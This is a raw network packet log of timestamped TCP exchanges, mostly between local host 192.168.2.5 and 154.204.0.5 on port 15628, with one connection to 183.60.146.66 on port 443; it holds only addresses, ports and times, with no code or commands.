Jul 20, 2024 16:15:30.638534069 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.638587952 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.643462896 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.648319006 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.653276920 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.653418064 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.658287048 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.658380032 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.663239956 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.663302898 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.668250084 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.668308020 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.673135996 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.673197031 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.678267956 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.689703941 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.694703102 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.721584082 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.726682901 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.731484890 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.736435890 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.742496014 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.747440100 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.749893904 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.754832983 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.757528067 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.762584925 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.765537977 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.770375967 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.773530006 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.780117989 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.781522989 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.786360025 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.789540052 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.794596910 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.797530890 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.802644968 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.805524111 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.810456038 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.810574055 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.815411091 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.815498114 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.820298910 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.820378065 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.825176954 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.825267076 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.830112934 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.830179930 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.835000038 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.835091114 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.839967012 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.840064049 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.844846010 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.844902039 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.849750996 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.849937916 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.855015039 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.855097055 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.860191107 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.860251904 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.866566896 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.866655111 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.871593952 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.871678114 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.878371000 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.878477097 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.883800030 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.883862972 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.888722897 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.888793945 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.894239902 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.894305944 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.899493933 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.899586916 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.904969931 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.905026913 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.910067081 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.910218954 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.915165901 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.915244102 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.920310020 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.920416117 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.925293922 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.925357103 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.930221081 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.930280924 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.935142040 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.935517073 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.940655947 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.940718889 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.945915937 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.945998907 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.951936960 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.952043056 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.957257986 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.957365036 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.962342978 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.962429047 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.968203068 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.968290091 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.973326921 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.973400116 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.978785992 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.978847980 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:30.984638929 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:30.984751940 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.001275063 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.001380920 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.007635117 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.007750034 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.013513088 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.013725996 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.019051075 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.019130945 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.024426937 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.025635004 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.031399012 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.031485081 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.037174940 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.037292957 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.042947054 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.043023109 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.049168110 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.049248934 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.054140091 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.054213047 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.062027931 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.062108994 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.067265987 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.067362070 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.072465897 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.072561026 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.077672005 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.077752113 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.084841013 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.084935904 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.091183901 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.091301918 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.096854925 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.096940041 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.102243900 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.102328062 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.107990980 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.108094931 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.114064932 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.114151001 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.120965004 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.121079922 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.128246069 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.128355026 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.133812904 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.133894920 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.139945030 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.140034914 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.148585081 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.148714066 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.153920889 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.154045105 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.160841942 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.160963058 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.166169882 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.166248083 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.171118021 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.171227932 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.176450968 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.176528931 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.180428028 CEST	49744	443	192.168.2.5	183.60.146.66
Jul 20, 2024 16:15:31.180460930 CEST	443	49744	183.60.146.66	192.168.2.5
Jul 20, 2024 16:15:31.181485891 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.181664944 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.187778950 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.202850103 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.208262920 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.208401918 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.213519096 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.213731050 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.218986034 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.219069004 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.224091053 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.224174023 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.229108095 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.229227066 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.234406948 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.234479904 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.240539074 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.240626097 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.245820045 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.248517990 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.253629923 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.253727913 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.258943081 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.259064913 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.264081001 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.264164925 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.269301891 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.269396067 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.274758101 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.274879932 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.280982971 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.281065941 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.286108017 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.286202908 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.291054010 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.291173935 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.298022985 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.298090935 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.304035902 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.304117918 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.310300112 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.310488939 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.315571070 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.319596052 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.324600935 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.324670076 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.330672026 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.330765009 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.336462021 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.336539984 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.342066050 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.342145920 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.347068071 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.347142935 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.353457928 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.353673935 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.359168053 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.359245062 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.364551067 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.364614010 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.369558096 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.369672060 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.375387907 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.378099918 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.383373022 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.384516954 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.390075922 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.390137911 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.395553112 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.395608902 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.401829004 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.401902914 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.407959938 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.408068895 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.413487911 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.413744926 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.420861006 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.420965910 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.426456928 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.426615000 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.431690931 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.431790113 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.437012911 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.437108994 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.442486048 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.442553043 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.447518110 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.447587967 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.453131914 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.453227043 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.458504915 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.458585024 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.465035915 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.465120077 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.470515966 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.470593929 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.475652933 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.475725889 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.481100082 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.481230021 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.486238003 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.486303091 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.491631985 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.491731882 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.496674061 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.496756077 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.501952887 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.502027035 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.507102013 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.507172108 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.513189077 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.513307095 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.518795967 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.518918037 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.523991108 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.524102926 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.530230999 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.533531904 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.539191008 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.539279938 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.547626019 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.547715902 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.554121971 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.554199934 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.559724092 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.559849977 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.564898014 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.564995050 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.574676037 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.574754000 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.582312107 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.582393885 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.587795973 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.587867022 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.593359947 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.593466997 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.621248007 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.621350050 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.626904964 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.626996994 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.632941961 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.633071899 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.643075943 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.643167973 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.652291059 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.653525114 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.661108017 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.661226034 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.666265011 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.666424990 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.673620939 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.673847914 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.681514025 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.681739092 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.687314987 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.687396049 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:31.700062990 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:31.700186968 CEST	49709	15628	192.168.2.5	154.204.0.5
